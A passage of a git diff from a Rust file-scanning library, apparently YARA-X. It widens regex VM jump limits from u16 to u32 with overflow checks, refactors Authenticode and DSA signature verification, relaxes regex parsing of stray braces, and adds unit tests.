a/lib/src/modules/test_proto2/mod.rs b/lib/src/modules/test_proto2/mod.rs index 41c5ca815..9bc99f93c 100644 --- a/lib/src/modules/test_proto2/mod.rs +++ b/lib/src/modules/test_proto2/mod.rs @@ -44,7 +44,7 @@ pub(crate) fn nested_method( _ctx: &mut ScanContext, structure: Rc, ) -> bool { - structure.field_by_name("nested_bool").unwrap().type_value.as_bool() + structure.field_by_name("nested_bool").unwrap().type_value().as_bool() } /// A nested method with an argument. @@ -61,7 +61,7 @@ pub(crate) fn nested_method_with_arg( let field = structure .field_by_name("nested_string") .unwrap() - .type_value + .type_value() .as_string(); arg.eq(field.as_bstr()) diff --git a/lib/src/modules/test_proto2/tests/mod.rs b/lib/src/modules/test_proto2/tests/mod.rs index ee6aa491c..208811d26 100644 --- a/lib/src/modules/test_proto2/tests/mod.rs +++ b/lib/src/modules/test_proto2/tests/mod.rs @@ -27,6 +27,29 @@ fn test_proto2_module() { condition_true!(r#"test_proto2.int64_one * test_proto2.int64_one == 1"#); condition_true!(r#"test_proto2.int64_one - test_proto2.int64_one == 0"#); + // Fields of type uint32 are never negative (their values are in the + // range [0, u32::MAX]), but they are promoted to signed 64-bit integers + // when used in operations, so `uint32_one - 2` is -1. Fields of type + // uint64 are unsigned integers, so `uint64_one - 2` wraps around. + condition_true!(r#"test_proto2.uint32_zero == 0"#); + condition_true!(r#"test_proto2.uint32_one == 1"#); + condition_true!(r#"test_proto2.uint32_one > -1"#); + condition_true!(r#"test_proto2.uint32_one - 2 == -1"#); + condition_true!(r#"test_proto2.uint32_one - 2 < 0"#); + condition_true!(r#"test_proto2.uint64_zero == 0"#); + condition_true!(r#"test_proto2.uint64_one == 1"#); + condition_true!(r#"test_proto2.uint64_one > -1"#); + condition_true!(r#"test_proto2.uint64_one - 2 == 0xFFFFFFFFFFFFFFFF"#); + condition_true!(r#"test_proto2.uint64_one - 2 > 0"#); + condition_true!(r"(test_proto2.uint64_zero - 1) \ 2 == 0x7FFFFFFFFFFFFFFF"); + condition_true!( + r"(test_proto2.uint64_zero - 1) \ test_proto2.uint32_one == 0xFFFFFFFFFFFFFFFF" + ); + condition_true!(r#"(test_proto2.uint64_zero - 1) >> 63 == 1"#); + condition_true!(r#"test_proto2.int64_one - 2 == -1"#); + condition_false!(r#"test_proto2.uint64_undef == 0"#); + condition_false!(r#"test_proto2.uint64_undef != 0"#); + condition_true!(r#"test_proto2.float_zero == 0.0"#); condition_true!(r#"test_proto2.float_one == 1.0"#); condition_true!(r#"test_proto2.double_zero == 0.0"#); diff --git a/lib/src/modules/tests.rs b/lib/src/modules/tests.rs index db51fe1e6..8fdd88a53 100644 --- a/lib/src/modules/tests.rs +++ b/lib/src/modules/tests.rs @@ -508,6 +508,7 @@ fn test_reflect() { let field = fields.next().unwrap(); assert_eq!(field.name(), "INLINE_0x1000"); assert_eq!(field.ty(), Type::Integer); + assert!(field.is_const()); let field = fields.next().unwrap(); assert_eq!(field.name(), "INLINE_0x2000"); diff --git a/lib/src/modules/utils/authenticode.rs b/lib/src/modules/utils/authenticode.rs index 9ee8867c1..53cc9dd55 100644 --- a/lib/src/modules/utils/authenticode.rs +++ b/lib/src/modules/utils/authenticode.rs @@ -875,39 +875,30 @@ fn verify_signer_info(si: &SignerInfo, certs: &[Certificate<'_>]) -> bool { // let attrs_set = Set::new(Cow::Borrowed(si.raw_signed_attrs)); + let mut buf = Vec::new(); + attrs_set.write_der(&mut buf).unwrap(); + // Verify that the signature in `SignerInfo` is correct. match digest_algorithm { rfc5912::ID_MD_2 | rfc5912::MD_2_WITH_RSA_ENCRYPTION => { - let mut md2 = Md2::default(); - attrs_set.write_der(&mut md2).unwrap(); - key.verify_digest::(md2.finalize(), si.signature) + key.verify_digest::(Md2::digest(&buf), si.signature) } rfc5912::ID_MD_5 | rfc5912::MD_5_WITH_RSA_ENCRYPTION => { - let mut md5 = Md5::default(); - attrs_set.write_der(&mut md5).unwrap(); - key.verify_digest::(md5.finalize(), si.signature) + key.verify_digest::(Md5::digest(&buf), si.signature) } rfc5912::ID_SHA_1 | rfc5912::SHA_1_WITH_RSA_ENCRYPTION | oid::SHA1_WITH_RSA_ENCRYPTION_OBSOLETE => { - let mut sha1 = Sha1::default(); - attrs_set.write_der(&mut sha1).unwrap(); - key.verify_digest::(sha1.finalize(), si.signature) + key.verify_digest::(Sha1::digest(&buf), si.signature) } rfc5912::ID_SHA_256 | rfc5912::SHA_256_WITH_RSA_ENCRYPTION => { - let mut sha256 = Sha256::default(); - attrs_set.write_der(&mut sha256).unwrap(); - key.verify_digest::(sha256.finalize(), si.signature) + key.verify_digest::(Sha256::digest(&buf), si.signature) } rfc5912::ID_SHA_384 | rfc5912::SHA_384_WITH_RSA_ENCRYPTION => { - let mut sha384 = Sha384::default(); - attrs_set.write_der(&mut sha384).unwrap(); - key.verify_digest::(sha384.finalize(), si.signature) + key.verify_digest::(Sha384::digest(&buf), si.signature) } rfc5912::ID_SHA_512 | rfc5912::SHA_512_WITH_RSA_ENCRYPTION => { - let mut sha512 = Sha512::default(); - attrs_set.write_der(&mut sha512).unwrap(); - key.verify_digest::(sha512.finalize(), si.signature) + key.verify_digest::(Sha512::digest(&buf), si.signature) } _ => { #[cfg(feature = "logging")] diff --git a/lib/src/modules/utils/crypto.rs b/lib/src/modules/utils/crypto.rs index 215353242..3a5d7ab44 100644 --- a/lib/src/modules/utils/crypto.rs +++ b/lib/src/modules/utils/crypto.rs @@ -91,10 +91,47 @@ impl TryFrom<&SubjectPublicKeyInfo<'_>> for PublicKey { let (_, g) = parse_ber_integer(rem) .map_err(|err| PublicKeyError::Der(err.into()))?; - let p = dsa::BigUint::from_bytes_be(p.content.as_slice()?); - let q = dsa::BigUint::from_bytes_be(q.content.as_slice()?); - let g = dsa::BigUint::from_bytes_be(g.content.as_slice()?); - let y = dsa::BigUint::from_bytes_be(y.content.as_slice()?); + let mut p_bytes = p.content.as_slice()?; + let mut q_bytes = q.content.as_slice()?; + let mut g_bytes = g.content.as_slice()?; + let mut y_bytes = y.content.as_slice()?; + + while let Some((&0, rest)) = p_bytes.split_first() { + p_bytes = rest; + } + while let Some((&0, rest)) = q_bytes.split_first() { + q_bytes = rest; + } + while let Some((&0, rest)) = g_bytes.split_first() { + g_bytes = rest; + } + while let Some((&0, rest)) = y_bytes.split_first() { + y_bytes = rest; + } + + let p = dsa::BoxedUint::from_be_slice( + p_bytes, + (p_bytes.len() * 8) as u32, + ) + .map_err(|_| PublicKeyError::InvalidAlgorithm)?; + + let q = dsa::BoxedUint::from_be_slice( + q_bytes, + (q_bytes.len() * 8) as u32, + ) + .map_err(|_| PublicKeyError::InvalidAlgorithm)?; + + let g = dsa::BoxedUint::from_be_slice( + g_bytes, + (g_bytes.len() * 8) as u32, + ) + .map_err(|_| PublicKeyError::InvalidAlgorithm)?; + + let y = dsa::BoxedUint::from_be_slice( + y_bytes, + (y_bytes.len() * 8) as u32, + ) + .map_err(|_| PublicKeyError::InvalidAlgorithm)?; let components = Components::from_components(p, q, g)?; let key = dsa::VerifyingKey::from_components(components, y)?; @@ -228,6 +265,7 @@ impl PublicKey { } Self::Dsa(key) => { use dsa::pkcs8::der::Decode; + use dsa::signature::hazmat::PrehashVerifier; dsa::Signature::from_der(signature).is_ok_and(|s| { key.verify_prehash(hash.as_slice(), &s).is_ok() }) diff --git a/lib/src/modules/utils/zip.rs b/lib/src/modules/utils/zip.rs index f887dc4a2..fbde2ee4b 100644 --- a/lib/src/modules/utils/zip.rs +++ b/lib/src/modules/utils/zip.rs @@ -1,3 +1,5 @@ +#![allow(dead_code)] + use std::borrow::Cow; use std::io::Read; @@ -99,8 +101,9 @@ impl<'a> From<&Zip<'a>> for ZipProto { let mut proto_entry = Entry::new(); proto_entry.set_file_path(file_path); - proto_entry.set_uncompressed_size(entry.uncompressed_size()); - proto_entry.set_compressed_size(entry.compressed_size()); + proto_entry + .set_uncompressed_size(entry.uncompressed_size() as i64); + proto_entry.set_compressed_size(entry.compressed_size() as i64); let compression = match entry.compression() { Ok(tinyzip::Compression::Stored) => Compression::STORED, diff --git a/lib/src/modules/vba/mod.rs b/lib/src/modules/vba/mod.rs index 07908bbce..a2cba5a56 100644 --- a/lib/src/modules/vba/mod.rs +++ b/lib/src/modules/vba/mod.rs @@ -2,7 +2,7 @@ from Office documents. Read more about the VBA file format specification here: -https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc + */ use crate::modules::vba::parser::decompress_stream; diff --git a/lib/src/modules/vt/mod.rs b/lib/src/modules/vt/mod.rs index 96603b10a..a23221286 100644 --- a/lib/src/modules/vt/mod.rs +++ b/lib/src/modules/vt/mod.rs @@ -66,7 +66,7 @@ fn in_range( None => return false, }; - let ip = ip.field_by_name("raw").unwrap().type_value.as_string(); + let ip = ip.field_by_name("raw").unwrap().type_value().as_string(); let ip = match ip.to_str().ok().and_then(|s| s.parse::().ok()) { Some(ip) => ip, @@ -96,7 +96,7 @@ fn permutations( permutation_kinds: i64, ) -> bool { let scanned_domain = - scanned_domain.field_by_name("raw").unwrap().type_value.as_string(); + scanned_domain.field_by_name("raw").unwrap().type_value().as_string(); let scanned_domain = match parse_domain(scanned_domain.as_bstr()) { Some(d) => d, diff --git a/lib/src/re/fast/compiler.rs b/lib/src/re/fast/compiler.rs index 3471e6949..1e3c86fab 100644 --- a/lib/src/re/fast/compiler.rs +++ b/lib/src/re/fast/compiler.rs @@ -218,19 +218,17 @@ impl Compiler { instr: &mut InstrSeq, ) -> Result<(), Error> { match piece { - PatternPiece::Pattern(pattern) => instr.emit_pattern(pattern), + PatternPiece::Pattern(pattern) => { + instr.emit_pattern(pattern)?; + } PatternPiece::Alternation(alt) => { instr.emit_alternation(alt)?; } PatternPiece::JumpExact(len, accept_newlines) => { - instr.emit_jump_exact(*len as u16, *accept_newlines) + instr.emit_jump_exact(*len, *accept_newlines) } PatternPiece::Jump(min, max, accept_newlines) => { - instr.emit_jump( - *min as u16, - max.map(|max| max as u16), - *accept_newlines, - ); + instr.emit_jump(*min, *max, *accept_newlines); } } @@ -504,7 +502,7 @@ impl InstrSeq { self.seq.write_all(&[Instr::MATCH]).unwrap(); } - pub fn emit_jump_exact(&mut self, len: u16, accept_newlines: bool) { + pub fn emit_jump_exact(&mut self, len: u32, accept_newlines: bool) { if accept_newlines { self.seq.write_all(&[Instr::JUMP_EXACT]).unwrap(); } else { @@ -515,8 +513,8 @@ impl InstrSeq { pub fn emit_jump( &mut self, - min: u16, - max: Option, + min: u32, + max: Option, accept_newlines: bool, ) { if accept_newlines { @@ -530,25 +528,27 @@ impl InstrSeq { self.seq.write_all(max.unwrap_or(0).to_le_bytes().as_slice()).unwrap(); } - pub fn emit_pattern(&mut self, pattern: &Pattern) { + pub fn emit_pattern(&mut self, pattern: &Pattern) -> Result<(), Error> { match pattern { Pattern::Literal(literal) => { - assert!(literal.len() < u16::MAX as usize); - let len = u16::to_le_bytes(literal.len().try_into().unwrap()); + let len: u16 = + literal.len().try_into().map_err(|_| Error::TooLarge)?; self.seq.write_all(&[Instr::LITERAL]).unwrap(); - self.seq.write_all(len.as_slice()).unwrap(); + self.seq.write_all(len.to_le_bytes().as_slice()).unwrap(); self.seq.write_all(literal).unwrap(); } Pattern::Masked(literal, mask) => { - assert!(literal.len() < u16::MAX as usize); assert_eq!(literal.len(), mask.len()); - let len = u16::to_le_bytes(literal.len().try_into().unwrap()); + let len: u16 = + literal.len().try_into().map_err(|_| Error::TooLarge)?; self.seq.write_all(&[Instr::MASKED_LITERAL]).unwrap(); - self.seq.write_all(len.as_slice()).unwrap(); + self.seq.write_all(len.to_le_bytes().as_slice()).unwrap(); self.seq.write_all(literal).unwrap(); self.seq.write_all(mask).unwrap(); } } + + Ok(()) } pub fn emit_alternation( @@ -570,7 +570,7 @@ impl InstrSeq { let alternatives_loc = self.seq.position(); // Emit all alternatives. for pattern in alternatives { - self.emit_pattern(pattern); + self.emit_pattern(pattern)?; } // Calculate the size of alternatives. let alternatives_len = self.seq.position() - alternatives_loc; diff --git a/lib/src/re/fast/fastvm.rs b/lib/src/re/fast/fastvm.rs index ee8e6a217..14f8eee1e 100644 --- a/lib/src/re/fast/fastvm.rs +++ b/lib/src/re/fast/fastvm.rs @@ -1,5 +1,5 @@ use std::cell::Cell; -use std::ops::RangeInclusive; +use std::ops::{ControlFlow, RangeInclusive}; use std::{cmp, mem}; use bitflags::bitflags; @@ -7,7 +7,7 @@ use itertools::izip; use crate::re::bitmapset::BitmapSet; use crate::re::fast::instr::{Instr, InstrParser}; -use crate::re::{Action, CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; +use crate::re::{CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; /// A faster but less general alternative to [PikeVM]. /// @@ -22,7 +22,7 @@ pub(crate) struct FastVM<'r> { code: &'r [u8], /// Maximum number of bytes to scan. The VM will abort after ingesting /// this number of bytes from the input. - scan_limit: u16, + scan_limit: u32, /// A set with all the positions within the data that are matching so /// far. `BitmapSet` is used instead of `HashSet` because insertion order /// needs to be maintained while iterating the positions and `HashSet` @@ -59,7 +59,7 @@ impl<'r> FastVM<'r> { /// /// The default limit is 4096 bytes. #[allow(dead_code)] - pub fn scan_limit(mut self, limit: u16) -> Self { + pub fn scan_limit(mut self, limit: u32) -> Self { self.scan_limit = limit; self } @@ -69,7 +69,7 @@ impl<'r> FastVM<'r> { start: C, input: &[u8], wide: bool, - mut f: impl FnMut(usize) -> Action, + mut f: impl FnMut(usize) -> ControlFlow<()>, ) where C: CodeLoc, { @@ -77,9 +77,9 @@ impl<'r> FastVM<'r> { let mut ip = start.location(); let input = if backwards { - &input[input.len().saturating_sub(self.scan_limit.into())..] + &input[input.len().saturating_sub(self.scan_limit as usize)..] } else { - &input[..cmp::min(input.len(), self.scan_limit.into())] + &input[..cmp::min(input.len(), self.scan_limit as usize)] }; let step = if wide { 2 } else { 1 }; @@ -125,11 +125,11 @@ impl<'r> FastVM<'r> { } } match f(*position) { - Action::Stop => { + ControlFlow::Break(_) => { stop = true; break; } - Action::Continue => {} + ControlFlow::Continue(_) => {} } } if stop { @@ -248,20 +248,30 @@ impl<'r> FastVM<'r> { } } Instr::JumpExact(jump) => { - for (position, _) in self.positions.iter() { - self.next_positions - .insert(position + step * jump as usize, ()); + if let Some(jump_bytes) = (jump as usize).checked_mul(step) + { + for (position, _) in self.positions.iter() { + if let Some(next_pos) = + position.checked_add(jump_bytes) + && next_pos <= input.len() + { + self.next_positions.insert(next_pos, ()); + } + } } } Instr::JumpExactNoNewline(jump) => { - for (position, _) in self.positions.iter() { - let jump_range = - *position..*position + step * jump as usize; - if let Some(jump_range) = input.get(jump_range) - && memchr::memchr(0x0A, jump_range).is_none() - { - self.next_positions - .insert(position + step * jump as usize, ()); + if let Some(jump_bytes) = (jump as usize).checked_mul(step) + { + for (position, _) in self.positions.iter() { + if let Some(next_pos) = + position.checked_add(jump_bytes) + && let Some(jump_range) = + input.get(*position..next_pos) + && memchr::memchr(0x0A, jump_range).is_none() + { + self.next_positions.insert(next_pos, ()); + } } } } @@ -566,17 +576,17 @@ impl FastVM<'_> { input: &[u8], byte_after_jmp: Option, flags: JumpFlags, - range: &RangeInclusive, + range: &RangeInclusive, position: usize, next_positions: &mut BitmapSet<()>, ) { let step = if flags.contains(JumpFlags::Wide) { 2 } else { 1 }; - let n = *range.start() as usize * step; - let m = *range.end() as usize * step; + let n = (*range.start() as usize).saturating_mul(step); + let m = (*range.end() as usize).saturating_mul(step); let range_min = n; - let range_max = cmp::min(input.len(), m + step); + let range_max = cmp::min(input.len(), m.saturating_add(step)); if range_min >= range_max { return; @@ -640,14 +650,14 @@ impl FastVM<'_> { input: &[u8], expected_after_jump: Option, flags: JumpFlags, - range: &RangeInclusive, + range: &RangeInclusive, position: usize, next_positions: &mut BitmapSet<()>, ) { let step = if flags.contains(JumpFlags::Wide) { 2 } else { 1 }; - let n = *range.start() as usize * step; - let m = *range.end() as usize * step; + let n = (*range.start() as usize).saturating_mul(step); + let m = (*range.end() as usize).saturating_mul(step); // Let's explain what this function does using the following pattern // as an example: @@ -669,7 +679,7 @@ impl FastVM<'_> { // ^ ^ // range_min range_max // - let range_min = input.len().saturating_sub(m + step); + let range_min = input.len().saturating_sub(m.saturating_add(step)); let range_max = input.len().saturating_sub(n); if range_min >= range_max { @@ -688,8 +698,9 @@ impl FastVM<'_> { let jmp_range = &input[range_min..range_max]; let mut on_match_found = |offset| { - next_positions - .insert(position + n + jmp_range.len() - offset - step, ()); + if let Some(jump) = jmp_range.len().checked_sub(offset + step) { + next_positions.insert(position + n + jump, ()); + } }; let accept_newlines = flags.contains(JumpFlags::AcceptNewlines); @@ -738,3 +749,63 @@ bitflags! { const Wide = 0x02; } } + +#[cfg(test)] +mod tests { + use std::ops::ControlFlow; + + use crate::re::fast::{Compiler, FastVM}; + use crate::re::hir::Hir; + + #[test] + fn large_jumps_with_u32_scan_limit() { + for (min, max) in + [(70_000, Some(70_000)), (65_536, Some(70_000)), (65_536, None)] + { + // Forward jump > u16::MAX: `{ 01 02 [min-max] 03 }`. + let hir = Hir::concat(vec![ + Hir::literal([0x01, 0x02]), + Hir::any_byte_repetition(min, max, false), + Hir::literal([0x03]), + ]); + let mut code = Vec::new(); + let atoms = Compiler::new().compile(&hir, &mut code).unwrap(); + assert_eq!(atoms.len(), 1); + assert!(atoms[0].bck_code.is_none()); + + let mut input = vec![0x01, 0x02]; + input.extend(std::iter::repeat_n(0xff, 70_000)); + input.push(0x03); + + let mut matched_len = None; + let mut vm = FastVM::new(&code).scan_limit(100_000); + vm.try_match(atoms[0].fwd_code.unwrap(), &input, false, |len| { + matched_len = Some(len); + ControlFlow::Break(()) + }); + assert_eq!(matched_len, Some(input.len())); + + // Backward jump > u16::MAX: `{ 01 [min-max] 02 03 }`. + let hir = Hir::concat(vec![ + Hir::literal([0x01]), + Hir::any_byte_repetition(min, max, false), + Hir::literal([0x02, 0x03]), + ]); + let mut code = Vec::new(); + let atoms = Compiler::new().compile(&hir, &mut code).unwrap(); + assert_eq!(atoms.len(), 1); + assert!(atoms[0].bck_code.is_some()); + + let mut prefix = vec![0x01]; + prefix.extend(std::iter::repeat_n(0xff, 70_000)); + + let mut matched_bck_len = None; + let mut vm = FastVM::new(&code).scan_limit(100_000); + vm.try_match(atoms[0].bck_code.unwrap(), &prefix, false, |len| { + matched_bck_len = Some(len); + ControlFlow::Break(()) + }); + assert_eq!(matched_bck_len, Some(prefix.len())); + } + } +} diff --git a/lib/src/re/fast/instr.rs b/lib/src/re/fast/instr.rs index e871a8252..26dd0ac74 100644 --- a/lib/src/re/fast/instr.rs +++ b/lib/src/re/fast/instr.rs @@ -25,25 +25,25 @@ pub(crate) enum Instr<'a> { Alternation(InstrParser<'a>), /// Matches all strings of a given length. - JumpExact(u16), + JumpExact(u32), /// Matches all strings of a given length, but the string can't contain /// newline characters. - JumpExactNoNewline(u16), + JumpExactNoNewline(u32), /// Matches any string with a length in a given range. - Jump(RangeInclusive), + Jump(RangeInclusive), /// Like Jump, but the upper bound is infinite. - JumpUnbounded(RangeFrom), + JumpUnbounded(RangeFrom), /// Matches any string with a length in a given range, but the string can't /// contain newline characters. This is a non-greedy match, shorter strings /// are preferred. - JumpNoNewline(RangeInclusive), + JumpNoNewline(RangeInclusive), /// Like JumpNoNewline, but the upper bound is infinite. - JumpNoNewlineUnbounded(RangeFrom), + JumpNoNewlineUnbounded(RangeFrom), } impl Instr<'_> { @@ -100,31 +100,31 @@ impl<'a> InstrParser<'a> { ) } [Instr::JUMP_EXACT, ..] => { - let len = Self::decode_u16(&code[1..]); - (JumpExact(len), 1 + size_of::()) + let len = Self::decode_u32(&code[1..]); + (JumpExact(len), 1 + size_of::()) } [Instr::JUMP, ..] => { - let min = Self::decode_u16(&code[1..]); - let max = Self::decode_u16(&code[1 + size_of::()..]); + let min = Self::decode_u32(&code[1..]); + let max = Self::decode_u32(&code[1 + size_of::()..]); // When max is 0 it actually means unlimited max. if max == 0 { - (JumpUnbounded(min..), 1 + 2 * size_of::()) + (JumpUnbounded(min..), 1 + 2 * size_of::()) } else { - (Jump(min..=max), 1 + 2 * size_of::()) + (Jump(min..=max), 1 + 2 * size_of::()) } } [Instr::JUMP_EXACT_NO_NEWLINE, ..] => { - let len = Self::decode_u16(&code[1..]); - (JumpExactNoNewline(len), 1 + size_of::()) + let len = Self::decode_u32(&code[1..]); + (JumpExactNoNewline(len), 1 + size_of::()) } [Instr::JUMP_NO_NEWLINE, ..] => { - let min = Self::decode_u16(&code[1..]); - let max = Self::decode_u16(&code[1 + size_of::()..]); + let min = Self::decode_u32(&code[1..]); + let max = Self::decode_u32(&code[1 + size_of::()..]); // When max is 0 it actually means unlimited max. if max == 0 { - (JumpNoNewlineUnbounded(min..), 1 + 2 * size_of::()) + (JumpNoNewlineUnbounded(min..), 1 + 2 * size_of::()) } else { - (JumpNoNewline(min..=max), 1 + 2 * size_of::()) + (JumpNoNewline(min..=max), 1 + 2 * size_of::()) } } [Instr::MATCH, ..] => (Match, 1), @@ -141,6 +141,13 @@ impl<'a> InstrParser<'a> { u16::from_le_bytes(*bytes) } + + fn decode_u32(slice: &[u8]) -> u32 { + let bytes: &[u8; size_of::()] = + unsafe { &*(slice.as_ptr() as *const [u8; size_of::()]) }; + + u32::from_le_bytes(*bytes) + } } impl<'a> Iterator for InstrParser<'a> { diff --git a/lib/src/re/hir.rs b/lib/src/re/hir.rs index 3f72a37e0..277d27261 100644 --- a/lib/src/re/hir.rs +++ b/lib/src/re/hir.rs @@ -41,6 +41,23 @@ pub(crate) enum ChainedPatternGap { Unbounded(RangeFrom), } +impl ChainedPatternGap { + /// Returns true if a byte distance `gap` between the end of the previous + /// sub-pattern match and the start of the next sub-pattern match satisfies + /// this gap constraint. + #[inline] + pub fn contains(&self, gap: usize) -> bool { + match self { + ChainedPatternGap::Bounded(range) => (*range.start() as usize + ..=*range.end() as usize) + .contains(&gap), + ChainedPatternGap::Unbounded(range) => { + (range.start as usize..).contains(&gap) + } + } + } +} + /// A patterns that is chained to another one. #[derive(Debug, PartialEq)] pub(crate) struct ChainedPattern { @@ -82,6 +99,13 @@ impl From for Hir { } } +impl std::borrow::Borrow for Hir { + #[inline] + fn borrow(&self) -> ®ex_syntax::hir::Hir { + &self.inner + } +} + impl Hir { /// Pattern chaining is the process of splitting a pattern that contains very /// large gaps (a.k.a. jumps) into multiple pieces that are chained together. @@ -149,11 +173,10 @@ impl Hir { for item in cast!(self.into_kind(), HirKind::Concat) { if let HirKind::Repetition(rep) = item.kind() { - let num_repetitions = - rep.max.unwrap_or(u32::MAX).saturating_sub(rep.min); + let max_gap = rep.max.unwrap_or(u32::MAX); if !chunks.is_empty() - && num_repetitions > Self::PATTERN_CHAINING_THRESHOLD + && max_gap > Self::PATTERN_CHAINING_THRESHOLD && any_byte(rep.sub.as_ref().kind()) { let hir: Hir = Hir::concat(chunks).set_greedy(greedy); @@ -248,14 +271,14 @@ impl Hir { pattern.extend_from_slice(bytes); mask.extend(repeat_n(0xff, bytes.len())); } - HirKind::Repetition(Repetition { min, max, sub, .. }) => { - if *max == Some(*min) && any_byte(sub.kind()) { - let count = *min as usize; - pattern.extend(repeat_n(0x00, count)); - mask.extend(repeat_n(0x00, count)); - } else { - return None; - } + HirKind::Repetition(Repetition { min, max, sub, .. }) + if *max == Some(*min) + && *min <= Self::PATTERN_CHAINING_THRESHOLD + && any_byte(sub.kind()) => + { + let count = *min as usize; + pattern.extend(repeat_n(0x00, count)); + mask.extend(repeat_n(0x00, count)); } HirKind::Concat(sub_hirs) => { // Push in reverse order so they are processed left-to-right. @@ -318,9 +341,9 @@ impl Hir { self.inner } - /// Builds a [`regex_automata::meta::Regex`] from this HIR. + /// Builds a [`regex_automata::meta::Regex`] from one or more HIRs. pub fn build_automata( - &self, + hirs: &[Self], ) -> Result { // Set a size limit for the NFA automata. The default limit (10MB) is // not enough for certain regular expressions seen in the wild, see: @@ -330,7 +353,7 @@ impl Hir { regex_automata::meta::Builder::new() .configure(config) - .build_from_hir(&self.inner) + .build_many_from_hir(hirs) .map_err(|err| { if err.size_limit().is_some() { anyhow::anyhow!("regex is too large") @@ -752,5 +775,33 @@ mod tests { vec![] ) ); + + // Fixed-size jump larger than `PATTERN_CHAINING_THRESHOLD` (`max - min == 0`, + // `max > 200`) must also be split into chained sub-patterns. + assert_eq!( + Hir::concat(vec![ + Hir::literal([0x01, 0x02]), + Hir::any_byte_repetition(u32::MAX, Some(u32::MAX), false), + Hir::literal([0x03, 0x04]), + ]) + .split_at_large_gaps(), + ( + Hir::literal([0x01, 0x02]), + vec![ChainedPattern { + gap: ChainedPatternGap::Bounded(u32::MAX..=u32::MAX), + hir: Hir::literal([0x03, 0x04]), + }] + ) + ); + + // When sub-patterns are shorter than `MIN_PATTERN_LENGTH_IN_CHAIN` so + // `split_at_large_gaps` cannot split, `try_extract_literal_with_mask` + // must not materialize `u32::MAX` zero/mask bytes. + let unsplit = Hir::concat(vec![ + Hir::literal([0x01]), + Hir::any_byte_repetition(u32::MAX, Some(u32::MAX), false), + Hir::literal([0x02]), + ]); + assert!(unsplit.try_extract_literal_with_mask().is_none()); } } diff --git a/lib/src/re/mod.rs b/lib/src/re/mod.rs index b871ed8e0..657545997 100644 --- a/lib/src/re/mod.rs +++ b/lib/src/re/mod.rs @@ -47,7 +47,7 @@ pub(crate) mod thompson; /// for every atom match, the regex engine will read, at most, 2 times the /// scan limit bytes while confirming the match. This is the default value for /// the scan limit. -pub(crate) const DEFAULT_SCAN_LIMIT: u16 = 4096; +pub(crate) const DEFAULT_SCAN_LIMIT: u32 = 4096; /// Maximum number of alternatives in a regexp alternation /// (e.g: `(foo|bar|baz..)`) @@ -147,14 +147,6 @@ impl CodeLoc for BckCodeLoc { } } -/// Value returned by the callback functions passed to [`PikeVM::try_match`] -/// and [`FastVM::try_match`] for indicating if VM should continue trying to -/// find more matches or stop without trying to find more matches. -pub(crate) enum Action { - Continue, - Stop, -} - /// WideIter is an iterator that takes a byte iterator and consumes it two /// bytes at a time, returning one of the bytes and making sure that other /// is zero. Which of the two bytes is returned and which is zero depends diff --git a/lib/src/re/parser.rs b/lib/src/re/parser.rs index 1fb7e2c5f..e0f5fb580 100644 --- a/lib/src/re/parser.rs +++ b/lib/src/re/parser.rs @@ -6,8 +6,8 @@ use std::ops::Deref; use regex_syntax as re; use regex_syntax::ast::{ - AssertionKind, Ast, ErrorKind, Flag, Literal, LiteralKind, RepetitionKind, - RepetitionRange, + AssertionKind, Ast, ErrorKind, Flag, GroupKind, Literal, LiteralKind, + RepetitionKind, RepetitionRange, }; use thiserror::Error; @@ -163,25 +163,43 @@ impl Parser { /// Parses the regexp and returns its HIR. pub fn parse(&self, regexp: &impl Regexp) -> Result { + enum Edit { + Remove(usize), + Insert(usize), + } + let mut re_src = Cow::Borrowed(regexp.source()); - let mut span_delta = 0_isize; + let mut edits = Vec::new(); + + // Maps a `Position` in the modified `re_src` back to its corresponding + // position in the original `regexp.source()` by undoing each edit in + // reverse chronological order. + let adjust_pos = |pos: &re::ast::Position, edits: &[Edit]| { + let mut offset = pos.offset; + let mut column = pos.column; + for edit in edits.iter().rev() { + match *edit { + Edit::Remove(edit_pos) => { + if offset >= edit_pos { + offset += 1; + column += 1; + } + } + Edit::Insert(edit_pos) => { + if offset > edit_pos { + offset -= 1; + column = column.saturating_sub(1); + } + } + } + } + re::ast::Position::new(offset, pos.line, column) + }; - // Utility function that given a span and a `delta` amount, adds that - // amount to both the starting and ending points of the span. It will - // be used for adjusting error spans after we have modified the - // original regular expression. See comment below. - let adjust_span = |span: &re::ast::Span, delta| { + let adjust_span = |span: &re::ast::Span, edits: &[Edit]| { re::ast::Span::new( - re::ast::Position::new( - span.start.offset.saturating_add_signed(delta), - span.start.line, - span.start.column.saturating_add_signed(delta), - ), - re::ast::Position::new( - span.end.offset.saturating_add_signed(delta), - span.end.line, - span.end.column.saturating_add_signed(delta), - ), + adjust_pos(&span.start, edits), + adjust_pos(&span.end, edits), ) }; @@ -220,31 +238,65 @@ impl Parser { // Remove the backslash (\) from the original regexp. s.remove(span.start.offset); re_src = Cow::Owned(s); - // By removing the backslash we are altering the spans - // of any other error that is found after this change, - // we need to account for that change. The new spans - // are one byte before they should be because we removed - // one byte, so we need to add 1 to fix those spans. - span_delta += 1; + edits.push(Edit::Remove(span.start.offset)); + } + ErrorKind::RepetitionMissing => { + let span = err.span(); + // `RepetitionMissing` is emitted for `{` as well + // as `+`, `*`, and `?` when there is no preceding + // repeatable expression. In relaxed mode only an + // unescaped `{` is treated as a literal; bare `+`, + // `*`, and `?` remain syntax errors. + if re_src[span.start.offset..].starts_with('{') { + let mut s = re_src.into_owned(); + s.insert(span.start.offset, '\\'); + re_src = Cow::Owned(s); + edits.push(Edit::Insert(span.start.offset)); + } else { + break Err(err); + } + } + ErrorKind::RepetitionCountInvalid + | ErrorKind::RepetitionCountUnclosed => { + let span = err.span(); + // For `RepetitionCountInvalid` (e.g. `/a{2,1}/`) + // and `RepetitionCountUnclosed` (e.g. `/xyz{/`), + // `span.start.offset` points directly to the + // opening `{`. Notice that we don't search + // backwards from `span.end.offset`, because in + // `(?x)` verbose mode `span.end.offset` may extend + // over `#` comments that also contain `{` (e.g. + // `/(?x)a{# {/`), which would escape the `{` inside + // the comment and loop indefinitely. + let mut s = re_src.into_owned(); + // Insert a backslash in front of the `{`. + s.insert(span.start.offset, '\\'); + re_src = Cow::Owned(s); + edits.push(Edit::Insert(span.start.offset)); } - ErrorKind::RepetitionMissing - | ErrorKind::RepetitionCountInvalid - | ErrorKind::RepetitionCountUnclosed - | 